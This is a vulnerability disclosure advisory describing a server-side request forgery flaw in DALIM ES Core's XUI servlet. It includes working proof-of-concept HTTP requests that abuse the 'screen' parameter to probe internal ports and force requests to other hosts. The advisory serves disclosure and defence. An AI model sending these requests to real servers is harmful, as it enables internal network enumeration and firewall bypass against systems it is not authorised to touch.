DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery


Vendor: Dalim Software GmbH
Product web page: https://www.dalim.com
Affected version: ES/ESPRiT 5.0 (build 7184.1)
                                (build 7163.2)
                                (build 7163.0)
                                (build 7135.0)
                                (build 7114.1)
                                (build 7114.0)
                                (build 7093.1)
                                (build 7093.0)
                                (build 7072.0)
                                (build 7051.3)
                                (build 7051.1)
                                (build 7030.0)
                                (build 7009.0)
                                (build 6347.0)
                                (build 6326.0)
                                (build 6305.1)
                                (build 6235.9)
                                (build 6172.1)
                  ES/ESPRiT 4.5 (build 6326.0)
                                (build 6144.2)
                                (build 5180.2)
                                (build 5096.0)
                                (build 4314.3)
                                (build 4314.0)
                                (build 4146.4)
                                (build 3308.3)
                  ES/ESPRiT 4.0 (build 4202.0)
                                (build 4132.1)
                                (build 2235.0)
                  ES/ESPRiT 3.0

Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
Core is the engine that can handle project tracking, JDF device workflow,
dynamic user interface building, volume management. Each ES installation
will have different features, depending on the license installed: online
approval, prepress workflow, project tracking, imposition management...

ES is a collaborative digital asset production and management platform,
offering services ranging from online approval to web-based production
environment for all participants of the production cycle, including brand
owners, agencies, publishers, pre-media, printers and multichannel service
provider. ES lets users plan, execute and control any aspect of media
production, regardless of the final use of the output (print, web, ebook,
movie, and others). It ensures productivity and longterm profitability.


Desc: A server-side request forgery (SSRF) vulnerability exists in the
DALIM Web Service management interface within the XUI servlet functionality.
The DALIM web services are a set of tools used by the different DALIM SOFTWARE
applications: TWIST, MISTRAL and ES. It provides file sharing capabilities,
JDF devices, JDF controller, and job spooling management. The application
parses user supplied data in the GET parameter 'screen' to construct a page
request to the service. Since no validation is carried out on the parameter,
an attacker can specify an external domain and force the application to make
a HTTP request to an arbitrary destination host. This can be used by an external
attacker for example to bypass firewalls and initiate a service and network
enumeration on the internal network through the affected application.

Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
           CentOS 7
           Apache Tomcat/7.0.78
           Apache Tomcat/7.0.67
           Apache Tomcat/7.0.42
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Java/1.7.0_80
           Java/1.6.0_21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5428
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5428.php


15.06.2017

--


1. Check for open port:
-----------------------

GET /dalimws/xui?screen=http://127.0.0.1:8888 HTTP/1.1
Host: 192.168.1.2:8080
Accept: */*
Accept-Language: en
Connection: close

<Error message="java.net.ConnectException: Connection refused org.w3c.dom.DOMException: java.net.ConnectException: Connection refused
	at


2. Check for open port:
-----------------------

GET /dalimws/xui?screen=http://127.0.0.1:8080 HTTP/1.1
Host: 192.168.1.2:8080
Accept: */*
Accept-Language: en
Connection: close

<Error message="org.xml.sax.SAXParseException: The reference to entity "ctype" must end with the ';' delimiter. org.w3c.dom.DOMException: org.xml.sax.SAXParseException: The


3. Observe server-side request:
-------------------------------

GET /dalimws/xui?screen=http://192.168.1.55 HTTP/1.1
Host: 192.168.1.2:8080
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Connection: close


Request from 192.168.1.2 to 192.168.1.55 observed:

GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: SSRF/Test_1.4
Host: 192.168.1.55
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive